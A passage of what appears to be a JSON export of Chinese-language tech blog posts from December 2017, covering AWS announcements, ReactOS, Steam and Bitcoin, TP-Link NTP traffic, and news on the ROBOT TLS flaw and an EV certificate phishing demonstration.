上有更多互動的界面可以操作：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FLEqOsI.webp\" /><img src=\"https://i.gslin.com/imgur/FLEqOsI.jpg\" alt=\"\" /></picture>\r\n\r\n然後文末提到了總務業務量減少，而且因此變更座位變自由了而大受好評 (大概是不會讓總務煩死，所以就可以更自由換來換去 XDDD)：\r\n\r\n<blockquote>今回開発した座席表は総務の業務軽減に始まったプロジェクトでした。そして実際に導入後には、座席表の管理にかけていた総務の業務を大幅に削減することに成功しました。また、利用者からもかなり好評で、「これを待っていたんですよ！」といった声もあり、社内コミュニケーションの円滑化に一役買うことができているようです。誰の席でも自由に変更できるという点についても、これまでのところトラブルの報告を受けることなく運用できています。</blockquote>\r\n\r\n翻了一下英文版的 blog，好像沒有提到這件事情？XDDD",
    "title": "LINE 將內部的座位表由 Excel 改成 Web 界面..."
  },
  {
    "id": "7897",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 可以提供的效能往上提高了 (這邊講的是 Provisioned IOPS SSD，代號 <code>io1</code>)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/amazon-ebs-provisioned-iops-ssd--io1--volumes-now-support-32-000-iops-and-500-mbs-per-volume/\">Amazon EBS Improves Performance for io1 Volumes</a>」。\r\n\r\n單一 volume 的 IOPS 從 20K 變成 32K，thoughput 從 320MB/sec 變成 500MB/sec：\r\n\r\n<blockquote>Today we are announcing an improvement in performance of Provisioned IOPS SSD (io1) Volumes from 20,000 IOPS to 32,000 IOPS and from 320 MB/s to 500 MB/s of throughput per volume.</blockquote>\r\n\r\n應該是科技的進步帶動的 XD",
    "title": "AWS 提昇了 Amazon EBS 能提供的效能上限"
  },
  {
    "id": "7900",
    "body": "<a href=\"https://www.box.com/\">Box</a> 放出來的東西，用 <a href=\"https://en.wikipedia.org/wiki/Makefile\">Makefile</a> 跑各種測試：「<a href=\"https://blog.box.com/blog/introducing-makefiletest-generic-makefile-run-test-executables/\">Introducing Makefile.test: A Generic Makefile to Run Test Executables</a>」，專案在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/box/Makefile.test\">box/Makefile.test</a>。\r\n\r\n<blockquote>Makefile.test can be used to run any type of test executables. It is not language specific nor it requires any changes to your code. Parallel, serial execution, various platforms and make versions are supported. The executables can be organized in any desired way. The user only lists the test files, the rest is taken care of Makefile.test.</blockquote>\r\n\r\n程式碼很短，看程式碼其實比看說明容易理解：「<a href=\"https://github.com/box/Makefile.test/blob/master/Makefile.test\">Makefile.test</a>」。看完後感覺沒有很實用... 就當作趣味看一看 XD",
    "title": "用 Makefile 跑測試的 Makefile.test"
  },
  {
    "id": "7901",
    "body": "<a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a> 的新功能，可以解決以前自己要建立 Service Discovery 服務的工作：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/amazon-route-53-releases-auto-naming-api-name-service-management/\">Amazon Route 53 Releases Auto Naming API for Service Name Management and Discovery</a>」。官方的文件在「<a href=\"https://docs.aws.amazon.com/Route53/latest/APIReference/overview-service-discovery.html\">Using Autonaming for Service Discovery</a>」這邊。\r\n\r\n不過目前有些限制，一個 namespace (domain name) 目前只能有五個服務：\r\n\r\n<blockquote>DNS settings for up to five records.</blockquote>\r\n\r\n然後 DNS 回應時，最多回八個 record：\r\n\r\n<blockquote>When Amazon Route 53 receives a DNS query for the name of an instance, such as backend.example.com, it responds with up to eight IP addresses (for A or AAAA records) or up to eight SRV record values.</blockquote>\r\n\r\n回應八個 record，但應該是可以註冊超過八個吧... (i.e. 每次都回不一樣)\r\n\r\n自建服務 (像是 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 或是 <a href=\"http://www.scylladb.com/\">ScyllaDB</a>) 可以直接用這個服務掛上去，就不用自己架 <a href=\"https://www.consul.io/\">Consul</a> 了。\r\n\r\n目前支援了這四區，亞洲不在這波提供範圍：\r\n\r\n<blockquote>Amazon Route 53 Auto Naming is available in US East (N. Virginia), US East (Ohio), US West (Oregon), and EU (Ireland) regions.</blockquote>",
    "title": "用 Amazon Route 53 做 Service Discovery"
  },
  {
    "id": "7902",
    "body": "忘記在哪邊看到的，分析 <a href=\"https://www.android.com/\">Android</a> APK 檔的軟體：「<a href=\"https://github.com/droidefense/engine\">Droidefense: Advance Android Malware Analysis Framework</a>」。\r\n\r\n<blockquote>Droidefense (originally named atom: analysis through observation machine)* is the codename for android apps/malware analysis/reversing tool. It was built focused on security issues and tricks that malware researcher have on they every day work. For those situations on where the malware has anti-analysis routines, Droidefense attemps to bypass them in order to get to the code and 'bad boy' routine. Sometimes those techniques can be virtual machine detection, emulator detection, self certificate checking, pipes detection. tracer pid check, and so on.\r\n\r\nDroidefense uses an innovative idea in where the code is not decompiled rather than viewed. This allow us to get the global view of the execution workflow of the code with a 100% accuracy on gathered information. With this situation, Droidefense generates a fancy html report with the results for an easy understanding.</blockquote>\r\n\r\n看起來是輔助用的工具... 先記錄下來 XD",
    "title": "拿來分析 Android APK 檔的 Droidefence"
  },
  {
    "id": "7903",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 引用了這份 <a href=\"https://gist.github.com/\">Gist</a>：「<a href=\"https://gist.github.com/stevenringo/108922d042c4647f2e195a98e668108a\">Links to YouTube recordings of AWS re:Invent 2017 sessions</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">New on GitHub - Links to YouTube Recordings of <a href=\"https://twitter.com/hashtag/AWS?src=hash&amp;ref_src=twsrc%5Etfw\">#AWS</a> re:Invent 2017 Sessions - <a href=\"https://t.co/EweO9aP0KA\">https://t.co/EweO9aP0KA</a> - A year&#39;s worth of content to watch! <a href=\"https://t.co/zDnYJGkIJm\">pic.twitter.com/zDnYJGkIJm</a></p>&mdash; Jeff Barr ☁️ (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/938805007729569793?ref_src=twsrc%5Etfw\">December 7, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n由於今年開的規模又比去年大不少，影片相當多... 可以用關鍵字找來看。",
    "title": "AWS re:Invent 2017 的影片"
  },
  {
    "id": "7904",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/single-sign-on/\">AWS Single Sign-On</a>：「<a href=\"https://aws.amazon.com/blogs/security/introducing-aws-single-sign-on/\">Introducing AWS Single Sign-On</a>」、「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/announcing-aws-single-sign-on--sso/\">Announcing AWS Single Sign-On (SSO)</a>」。\r\n\r\n將 SSO 當成一個服務來賣的概念，可以將既有的 <a href=\"https://en.wikipedia.org/wiki/Active_Directory\">Active Directory</a> 服務掛上去當後端，然後對外透過 <a href=\"https://en.wikipedia.org/wiki/SAML_2.0\">SAML 2.0</a> 接上各種服務：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hWoGHfp.webp\" /><img src=\"https://i.gslin.com/imgur/hWoGHfp.jpg\" alt=\"\" /></picture>\r\n\r\n目前掛在 <code>us-east-1</code> 上，AWS SSO 的部份不另外收費：\r\n\r\n<blockquote>There is no additional cost to enable AWS SSO. It is now available in the US East (N. Virginia) Region.</blockquote>\r\n\r\n從官方的截圖可以看到包括了蠻多常用的 SAML 2.0 服務，也可以自己設定：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZXnO0Dd.webp\" /><img src=\"https://i.gslin.com/imgur/ZXnO0Dd.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lXpdlyT.webp\" /><img src=\"https://i.gslin.com/imgur/lXpdlyT.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/c8ICG2H.webp\" /><img src=\"https://i.gslin.com/imgur/c8ICG2H.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qlranFX.webp\" /><img src=\"https://i.gslin.com/imgur/qlranFX.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/buIAC4T.webp\" /><img src=\"https://i.gslin.com/imgur/buIAC4T.jpg\" alt=\"\" /></picture>",
    "title": "AWS 推出 AWS Single Sign-On"
  },
  {
    "id": "7905",
    "body": "<a href=\"http://store.steampowered.com/\">Steam</a> 宣佈停止使用 <a href=\"https://bitcoin.org/\">Bitcoin</a> 購買遊戲：「<a href=\"https://steamcommunity.com/games/593110/announcements/detail/1464096684955433613\">Steam is no longer supporting Bitcoin</a>」。\r\n\r\n官方提到的原因是因為交易費用太高 (雖然是讓使用者付)：\r\n\r\n<blockquote>In the past few months we've seen an increase in the volatility in the value of Bitcoin and a significant increase in the fees to process transactions on the Bitcoin network. For example, transaction fees that are charged to the customer by the Bitcoin network have skyrocketed this year, topping out at close to $20 a transaction last week (compared to roughly $0.20 when we initially enabled Bitcoin).</blockquote>\r\n\r\n另外一個原因是波動問題：\r\n\r\n<blockquote>Historically, the value of Bitcoin has been volatile, but the degree of volatility has become extreme in the last few months, losing as much as 25% in value over a period of days.</blockquote>\r\n\r\n所以這樣推測，Steam 不是直接換成法幣？我記得他們合作的交易所 (<a href=\"https://bitpay.com/\">BitPay</a>) 可以馬上換成法幣...",
    "title": "Steam 停止使用 Bitcoin 購買遊戲"
  },
  {
    "id": "7906",
    "body": "<a href=\"https://reactos.org/\">ReactOS</a> 是個 Open Source 的作業系統，目標是建立一個相容於 Windows 的環境。剛剛看到 ReactOS 0.4.7 釋出的消息，抓下來用虛擬機玩一下，看看目前的進展如何：「<a href=\"https://reactos.org/project-news/reactos-047-released\">ReactOS 0.4.7 released!</a>」。\r\n\r\n現在可以比較輕鬆的在 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 上安裝 ReactOS 了，雖然會需要自己改一些設定，但比以前已經簡單很多了... 可以參考「<a href=\"https://reactos.org/wiki/VirtualBox\">VirtualBox - ReactOS Wiki</a>」這邊的說明，大致上有這幾點需要注意：\r\n\r\n<ul>\r\n\t<li>在選擇的時候使用 Windows 2003 (32bit)。</li>\r\n\t<li>一定要掛一顆硬碟進去 (要記得確認設成 IDE 界面)。</li>\r\n\t<li>網路卡用 PCnet-FAST III。</li>\r\n</ul>\r\n\r\n然後在 Application Manager 把 Firefox 45 裝起來了，但是沒辦法更新到目前的 ESR 版本 52，或是目前最新版 57... 應該是還有些東西沒實做 :o",
    "title": "玩 ReactOS 0.4.7"
  },
  {
    "id": "7907",
    "body": "<strong>Disclosure</strong>：我跑去找作者簽名，然後被戳說要介紹廣告一下 XDDD\r\n\r\n這是本講 <a href=\"https://git-scm.com/\">Git</a> 的書，翻內容後的感覺... 定位差不多在入門使用者與中階使用者。先引用作者在 <a href=\"https://twitter.com/\">Twitter</a> 的 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">喔耶！<br>而且剛剛出版社通知要二刷了<br>感謝大家支持 m(_ _)m <a href=\"https://t.co/XwFFPOwyH2\">pic.twitter.com/XwFFPOwyH2</a></p>&mdash; 高見龍SW-2554-7013-4724 (@eddiekao) <a href=\"https://twitter.com/eddiekao/status/937572633847066624?ref_src=twsrc%5Etfw\">December 4, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在<a href=\"https://www.tenlong.com.tw/\">天瓏</a>掛第一，然後出版社通知要二刷了，應該是賣的還不錯 XDDD\r\n\r\n<img src=\"https://i.gslin.com/imgur/rgEFdts.jpg\" alt=\"\" />\r\n\r\n書的章節可以參考「<a href=\"https://www.tenlong.com.tw/products/9789864342662\">天瓏網路書店-為你自己學Git</a>」這邊，內容是以 Command Line 為主，對於真的要把 Git 用好蠻有幫助的。除此之外，實務上常見的問題都有提到 (像是搞爛東西後可能的解法)，也講了不少冷知識，對於理解 Git 內怎麼運作會有幫助...\r\n\r\n唯一覺得奇怪的地方應該是在最後兩章，講 <a href=\"https://github.com/\">GitHub</a> 與 Git Flow (也就是「<a href=\"http://nvie.com/posts/a-successful-git-branching-model/\">A successful Git branching model</a>」這邊提出來的方法)，反而不是 <a href=\"https://guides.github.com/introduction/flow/\">GitHub Flow</a>... 雖然在 GitHub 上也可以走 Git Flow 啦。",
    "title": "新書廣告「為你自己學Git」"
  },
  {
    "id": "7909",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈的這兩個服務 (<a href=\"https://aws.amazon.com/ecs/\">Amazon ECS</a> 與 <a href=\"https://aws.amazon.com/fargate/\">AWS Fargate</a>) 都納入 99.99% 的 SLA 合約範圍：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/amazon-compute-service-level-agreement-extended-to-amazon-ecs-and-aws-fargate/\">Amazon Compute Service Level Agreement Extended to Amazon ECS and AWS Fargate</a>」。\r\n\r\n<blockquote>Amazon Elastic Container Service (Amazon ECS) and AWS Fargate are now included in the Amazon Compute Service Level Agreement (SLA) for 99.99% uptime and availability.</blockquote>\r\n\r\nECS 已經跑一陣子了可以理解，但 Fargate 的概念算比較新，剛出來沒多久就決定放進去比較意外...",
    "title": "Amazon ECS 與 AWS Fargate 都納入 Amazon Compute SLA 計算"
  },
  {
    "id": "7911",
    "body": "在「<a href=\"https://www.bleepingcomputer.com/news/security/keylogger-found-on-nearly-5-500-infected-wordpress-sites/\">Keylogger Found on Nearly 5,500 Infected WordPress Sites</a>」這邊看到的網站服務 <a href=\"https://publicwww.com/\">PublicWWW</a>。\r\n\r\n雖然原文是說 <a href=\"https://wordpress.org/\">WordPress</a> 被感染的情況，但注意到的反而是他提到的網站 PublicWWW。\r\n\r\n在 PublicWWW 上面目前收錄了兩億個網站的資料，有些東西頗不賴的，像是可以搜尋有哪些是使用同樣的 Google Analytics 帳號：\r\n\r\n<blockquote>Sites with the same analytics id: \"UA-19778070-\"</blockquote>\r\n\r\n這拿來找誰是內容容場後面的人超棒的啊，而且可以拿來補內容農場的清單，像是「<a href=\"https://publicwww.com/websites/UA-31425034/\">UA-31425034 - 19 Websites - PublicWWW.com</a>」這個 XD\r\n\r\n免費版只能搜 Top 3M 的部份，付費版 (USD$49/month) 則是可以搜所有的資料。",
    "title": "用 PublicWWW 分析網站"
  },
  {
    "id": "7912",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.reddit.com/\">Reddit</a> 上的這則說明：「<a href=\"https://www.reddit.com/r/iphone/comments/7inu45/psa_iphone_slow_try_replacing_your_battery/\">PSA: iPhone slow? Try replacing your battery!</a>」。\r\n\r\n他提到他的 <a href=\"https://en.wikipedia.org/wiki/IPhone_6S\">iPhone 6S</a> 很慢，本來以為是 <a href=\"https://www.apple.com/ios/ios-11/\">iOS 11</a> 導致的，結果發現他弟弟 (或是哥哥？) 的 <a href=\"https://en.wikipedia.org/wiki/IPhone_6\">iPhone 6</a> 也是跑 iOS 11，但是快很多... 所以他就試著研究，最後決定換電池：\r\n\r\n<blockquote>My iPhone 6S has been very slow these past few weeks, and even after updating multiple times, it was still slow. Couldn’t figure out why, but just thought that iOS 11 was still awful to me. Then I used my brother’s iPhone 6 Plus and his was... faster than mine? This is when I knew something was wrong. So, I did some research, and decided to replace my battery.</blockquote>\r\n\r\n結果發現換電池後速度就上來了，上面這張是換電池之前，下面那張是換電池之後：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oVKeNON.webp\" /><img src=\"https://i.gslin.com/imgur/oVKeNON.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bROhbXs.webp\" /><img src=\"https://i.gslin.com/imgur/bROhbXs.jpg\" alt=\"\" /></picture>\r\n\r\n所以是在電力不足的情況下會降速？\r\n\r\n在 <a href=\"https://www.apple.com/ios/\">iOS</a> 上測試的軟體是 <a href=\"https://itunes.apple.com/app/geekbench-4/id1130770356\">Geekbench 4</a>，而官方也有給參考值 (<a href=\"https://www.geekbench.com/\">Geekbench</a> 的)，在 <a href=\"https://browser.geekbench.com/ios-benchmarks\">iOS Benchmarks - Geekbench Browser</a> 可以參考。如果在吃滿電、重開機，沒有背景的情況下還是很慢的話，有機會是類似的問題？",
    "title": "iPhone 的電池與效能"
  },
  {
    "id": "7913",
    "body": "看到「<a href=\"https://danluu.com/anon-benchmark/\">That time Larry Ellison allegedly tried to have a professor fired for benchmarking Oracle</a>」這篇文章的講古，想起很久前就有聽過 <a href=\"https://www.microsoft.com/\">Microsoft</a> 有這樣的條款 (禁止未經原廠同意公開 benchmark 結果)，原來是 <a href=\"https://www.oracle.com/\">Oracle</a> 在三十幾年前創出來的？而且這種條款還有專有名詞「DeWitt Clauses」，出自當初被搞的教授 <a href=\"https://en.wikipedia.org/wiki/David_DeWitt\">David DeWitt</a>...\r\n\r\nMicrosoft 的條款是這樣：\r\n\r\n<blockquote>You may not disclose the results of any benchmark test … without Microsoft’s prior written approval</blockquote>\r\n\r\nOracle 的則是：\r\n\r\n<blockquote>You may not disclose results of any Program benchmark tests without Oracle’s prior consent</blockquote>\r\n\r\n<a href=\"https://www.ibm.com/\">IBM</a> 的反而在 license 裡面直接允許：\r\n\r\n<blockquote>Licensee may disclose the results of any benchmark test of the Program or its subcomponents to any third party provided that Licensee (A) publicly discloses the complete methodology used in the benchmark test (for example, hardware and software setup, installation procedure and configuration files), (B) performs Licensee’s benchmark testing running the Program in its Specified Operating Environment using the latest applicable updates, patches and fixes available for the Program from IBM or third parties that provide IBM products (“Third Parties”), and © follows any and all performance tuning and “best practices” guidance available in the Program’s documentation and on IBM’s support web sites for the Program…</blockquote>",
    "title": "原來 Oracle 與 Microsoft 裡的條款是這樣來的..."
  },
  {
    "id": "7914",
    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到 <a href=\"https://zh.wikipedia.org/wiki/%E9%BB%83%E5%A3%AB%E5%82%91\">Aja Huang</a> 的訊息，介紹了 <a href=\"https://deepmind.com/\">DeepMind</a> 放出的新資料，由 <a href=\"https://zh.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 分析人類開局的各種勝率 (不是先前發表出來更凶的 <a href=\"https://en.wikipedia.org/wiki/AlphaZero\">AlphaZero</a>，但不曉得是 AlphaGo Zero 還是 AlphaGo Master...)。\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Faja.huang%2Fposts%2F1761304863904077&amp;width=500\" width=\"500\" height=\"583\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\"></iframe>\r\n\r\n網站在 <a href=\"https://alphagoteach.deepmind.com/\">AlphaGo Teach: Discover new and creative ways of playing Go</a>，盤面上的數字都是指黑棋勝率。\r\n\r\n<blockquote>This tool provides analysis of 6,000 of the most popular opening sequences from the recent history of Go, using data from 231,000 human games and 75 games AlphaGo played against human players.\r\n\r\nExplore the board and learn how AlphaGo's moves compare to those of professional and amateur players.</blockquote>\r\n\r\n由於這是暴力法算出超大量的開局資料，而且是完整公佈在網路上，可以預料接下來的職業比賽，開局應該會參考這邊的資料進行修正...",
    "title": "AlphaGo 的開局庫分析"
  },
  {
    "id": "7915",
    "body": "在「<a href=\"https://arstechnica.com/information-technology/2017/12/nope-this-isnt-the-https-validated-stripe-website-you-think-it-is/\">Nope, this isn’t the HTTPS-validated Stripe website you think it is</a>」這邊看到利用一家同名的公司取得相同的 <a href=\"https://en.wikipedia.org/wiki/Extended_Validation_Certificate\">EV Certificate</a> 的方法：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/y1M2Qv7.webp\" /><img src=\"https://i.gslin.com/imgur/y1M2Qv7.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rCYcdtp.webp\" /><img src=\"https://i.gslin.com/imgur/rCYcdtp.jpg\" alt=\"\" /></picture>\r\n\r\n這個不是你想像中的 <a href=\"https://stripe.com/\">Stripe</a> 網站在 <a href=\"https://stripe.ian.sh/\">https://stripe.ian.sh/</a> 這邊。這在 <a href=\"https://www.apple.com/safari/\">Safari</a> 上攻擊的效果特別好，因為不會顯示出 hostname：\r\n\r\n<img src=\"https://i.gslin.com/imgur/WS9HyZy.jpg\" alt=\"\" />\r\n\r\n不過 EV Certificate 當初設計的目的本來就是墊高 phishing 的成本，並不是完全阻止... 這應該暫時不會解吧 :o",
    "title": "拿到標著 Stripe, Inc. 的 EV Certificate"
  },
  {
    "id": "7916",
    "body": "<a href=\"https://aws.amazon.com/cloudwatch/\">Amazon CloudWatch</a> 的操作上支援 Zoom 與 Pan 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/amazon-cloudwatch-now-supports-two-new-chart-visualization-options-in-metrics-and-dashboards/\">Amazon CloudWatch now supports two new chart visualization options in metrics and dashboards</a>」。\r\n\r\nZoom 是改變時間的粒度：\r\n\r\n<blockquote>You can use the CloudWatch console to graph metric data generated by AWS services and your applications. Now, you can zoom into a shorter time period such as one minute or five minutes while viewing the metric graph at a longer interval.</blockquote>\r\n\r\nPan 則是維持一樣的粒度，但改變開始與結束的時間：\r\n\r\n<blockquote>Once zoomed, you can also pan the metric graph across your selected interval, but at a zoomed detail level.</blockquote>\r\n\r\n變得更容易操作，而不用滑鼠移過去修改...",
    "title": "Amazon CloudWatch 支援縮放與拖拉調整時間區間"
  },
  {
    "id": "7917",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 的 <a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">MySQL-Compatible Edition</a> 開始支援相容 <a href=\"https://dev.mysql.com/doc/relnotes/mysql/5.7/en/\">MySQL 5.7</a> 的服務：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/announcing-preview-of-amazon-aurora-with-mysql-5-7-compatibility/\">Announcing Preview of Amazon Aurora with MySQL 5.7 Compatibility</a>」。\r\n\r\n<blockquote>Amazon Aurora with MySQL 5.7 compatibility offers enhancements such as JSON support, spatial indexes, generated columns and performance improvement of 5x over MySQL 5.7, and up to 10x for spatial datasets.</blockquote>\r\n\r\n雖然目前還在 Preview (需要申請才能用)，而且開放區域有限，但總算是有消息了：\r\n\r\n<blockquote>The preview is currently available in US East (N. Virginia), US East (Ohio), US West (Oregon), and Canada (Montreal).</blockquote>\r\n\r\n會一定要 5.7 的，主要的需求應該是在 <a href=\"https://en.wikipedia.org/wiki/Spatial_index\">spatial index</a> 上吧... <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> 反倒還好。",
    "title": "Amazon Aurora 的 MySQL-Compatible Edition 開始提供相容於 MySQL 5.7 的服務"
  },
  {
    "id": "7918",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在寧夏的 Region 開張了：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-china-ningxia-region/\">Now Open – AWS China (Ningxia) Region</a>」。一樣是走託管方式：\r\n\r\n<blockquote>The AWS China (Ningxia) Region, operated by Ningxia Western Cloud Data Technology Co. Ltd. (NWCD), is generally available now and provides customers another option to run applications and store data on AWS in China.</blockquote>\r\n\r\n代碼是 <code>cn-northwest-1</code> (北京是 <code>cn-north-1</code>)，都是使用 <code>amazonaws.com.cn</code> 網域。與北京區一樣都需要另外申請 <a href=\"https://www.amazonaws.cn/\">AWS China</a> 的帳號才能使用：\r\n\r\n<blockquote>Customers already using the AWS China (Beijing) Region, operated by Sinnet, can select the AWS China (Ningxia) Region directly from the AWS Management Console, while new customers can request an account at www.amazonaws.cn to begin using both AWS China Regions.</blockquote>\r\n\r\n不過在 <a href=\"https://docs.aws.amazon.com/general/latest/gr/rande.html\">AWS Regions and Endpoints</a> 表上，寧夏區 (<code>cn-northwest-1</code>) 跟全球是放在一起的，但北京區 (<code>cn-north-1</code>) 是拆開的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aKXNLob.webp\" /><img src=\"https://i.gslin.com/imgur/aKXNLob.jpg\" alt=\"\" /></picture>\r\n\r\n可能之後會再整理吧...",
    "title": "AWS 的 Ningxia Region (寧夏) 開張"
  },
  {
    "id": "7920",
    "body": "在「<a href=\"http://www.socialflow.com/users-engage-with-longer-tweets-data-shows/\">140 Vs. 280: Users Engage With Longer Tweets Data Shows</a>」這邊分析了在 <a href=\"https://twitter.com/\">Twitter</a> 上 0～140 與 141～280 字的 tweet 所帶來的互動差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/h3OUy4E.webp\" /><img src=\"https://i.gslin.com/imgur/h3OUy4E.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到較長的 tweet 會有比較多的 retweet 與 like，不過更細一步的分析就沒有了... 文章內也有提到資料的分析是怎麼來的：\r\n\r\n<blockquote>The data parameters: 30,000 publisher tweets that included links between November 29 – December 6.\r\nThe results: The click-through rate was roughly equal for both tweet length types but overall engagement nearly doubled for longer tweets. On tweets containing 141-280 characters, the average retweet was a staggering 26.52% – compared the 13.71% for tweets with 0-140 characters. For likes, tweets containing 141-280 characters had an average of a whopping 50.28%, compared to 0-140’s 26.96%.</blockquote>",
    "title": "Twitter 的 280 字帶來的差異"
  },
  {
    "id": "7921",
    "body": "在「<a href=\"https://www.ctrl.blog/entry/tplink-aggressive-ntp\">TP-Link repeater firmware squanders 715 MB/month</a>」這邊看到 <a href=\"https://zh.wikipedia.org/wiki/TP-Link\">TP-Link</a> 因為 <a href=\"https://en.wikipedia.org/wiki/Network_Time_Protocol\">NTP</a> 的關係而狂吃流量的情況：(這邊是用逗點表示小數點，所以是 715.4 MB/month)\r\n\r\n<blockquote>You should probably avoid TP-Link products if you’re on a tight bandwidth budget. By design, TP-Link firmware sends six DNS requests and one NTP query every 5 seconds, for a total of 715,4 MB per month.</blockquote>\r\n\r\n如果拿 24 小時都開機的 Windows 相比的話，會發現這數字天差地別：\r\n\r\n<blockquote>To put this number in context: an always-on Windows device will use around 1,6 KB per month on NTP.</blockquote>\r\n\r\n作者抓出韌體上面的設定，發現裡面寫死了不少伺服器... 那個 <code>au</code> 與 <code>nz</code> 的選擇讓人頗好奇，另外直接把幾個大學的 NTP server 放進去不知道是什麼樣的想法：\r\n\r\n<blockquote>TP-Link has hardcoded the following non-configurable NTP servers and server pools in their firmware:\r\n\r\n<ul>\r\n\t<li>time.nist.gov, time-a.nist.gov, time-b.nist.gov, time-nw.nist.gov</li>\r\n\t<li>au.pool.ntp.org, nz.pool.ntp.org</li>\r\n\t<li>133.100.9.2, 128.138.140.44, 192.36.144.22</li>\r\n</ul>\r\n\r\nThe first sets of servers are operated by the US National Institute of Standards and Technology (NIST). The second is the Australian and New Zealand public NTP project time server pools. The IP addresses are owned by universities in Japan, Colorado; US, and Sweden respectively.</blockquote>\r\n\r\n而從行為可以看到沒有遵守這些 NTP service 的規範：\r\n\r\n<blockquote>The NTP Pool project asks device manufacturers and vendors to register (and optionally sponsor) their own pools through the service (e.g. tplink.pool.ntp.org), and emphasize that they “must absolutely not use the default pool.ntp.org zone names”. They also request that vendors don’t check more often than every 5 minutes at the most.</blockquote>\r\n\r\n而且因為沒有地方可以修改這些設定，唯一的解法是不要買 TP-Link 的產品：\r\n\r\n<blockquote>You can avoid buying TP-Link products to avoid this problem.\r\n\r\nYou can’t turn this behavior off in TP-Link’s web administration interface nor in their management app for mobile. You can’t change the NTP server addresses it targets either.</blockquote>",
    "title": "TP-Link 的 NTP 流量"
  },
  {
    "id": "7922",
    "body": "1998 年就發現的 security issue 因為 workaround 也很複雜，所以不是每一家都修對方法，於是 19 年後又被爆破了。這次叫做 <a href=\"https://robotattack.org/\">ROBOT</a>：「<a href=\"https://arstechnica.com/information-technology/2017/12/a-worrying-number-of-sites-remain-open-to-major-crypto-flaw-from-1998/\">1998 attack that messes with sites’ secret crypto keys is back in a big way</a>」。\r\n\r\n可以看到中獎的表：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Pg2nnRE.webp\" /><img src=\"https://i.gslin.com/imgur/Pg2nnRE.jpg\" alt=\"\" /></picture>\r\n\r\n這次的攻擊在 client 端無法修正，只能在 server 端修正：\r\n\r\n<blockquote><strong>Do I need to update my browser?</strong>\r\nNo. This is an implementation bug in servers, there is nothing clients can do to prevent it.</blockquote>\r\n\r\n如果 server 端無法盡快修正的話，想辦法避開 RSA encryption 可以躲開這個問題，而且因為現代瀏覽器都有非 RSA 的替代方案，這樣做應該都還有退路，可以維持連線的可能性：\r\n\r\n<blockquote><strong>Disable RSA encryption!</strong>\r\nROBOT only affects TLS cipher modes that use RSA encryption. Most modern TLS connections use an Elliptic Curve Diffie Hellman key exchange and need RSA only for signatures. We believe RSA encryption modes are so risky that the only safe course of action is to disable them. Apart from being risky these modes also lack forward secrecy.</blockquote>\r\n\r\n但使用 <a href=\"https://www.cisco.com/c/en/us/products/interfaces-modules/ace-application-control-engine-module/index.html\">Cisco ACE</a> 就哭了，因為 Cisco ACE 只支援 RSA encryption，而 <a href=\"https://www.cisco.com/\">Cisco</a> 官方以產品線已經關閉，不再提供維護而沒有提供更新的計畫，所以就進入一個死胡同...\r\n\r\n不過 Cisco 自己也還在用 Cisco ACE 就是了，不在意就不會痛的感覺 